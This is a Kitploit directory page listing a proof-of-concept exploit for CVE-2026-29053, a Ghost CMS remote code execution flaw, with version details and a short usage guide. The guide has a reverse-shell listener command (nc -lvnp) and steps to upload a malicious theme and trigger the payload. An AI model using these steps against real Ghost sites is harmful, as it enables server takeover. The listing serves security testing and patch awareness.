Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-29053 — Proof-of-concept exploit for Ghost CMS remote code execution via prototype pollution in jsonpath and static-eval, with a vulnerable environment setup and usage instructions. | Kitploit
Tools/GitHubGitHub/rootxran/cve-2026-29053
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubrootxran/cve-2026-29053

CVE-2026-29053

Proof-of-concept exploit for Ghost CMS remote code execution via prototype pollution in jsonpath and static-eval, with a vulnerable environment setup and usage instructions.

View Repository
176 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-29053

Ghost CMS RCE via jsonpath/static-eval prototype chain.

Info

  • CVE: CVE-2026-29053
  • Affected: Ghost <= 6.19.0 with jsonpath 1.1.1 + static-eval 2.0.2
  • Fixed: 6.19.1

Demo

CVE-2026-29053.webm

Setup Vulnerable Environment

cd build
./build.sh

Usage

python3 exploit.py -i <YOUR_IP> -p <PORT>
  1. Start listener: nc -lvnp <PORT>
  2. Upload malicious-theme.zip to Ghost Admin → Settings → Design
  3. Create page with slug rce
  4. Visit /rce/

References

  • https://github.com/TryGhost/Ghost/security/advisories/GHSA-cgc2-rcrh-qr5x
  • https://www.endorlabs.com/learn/rce-in-ghost-cms-ghsa-cgc2-rcrh-qr5x
Download Tool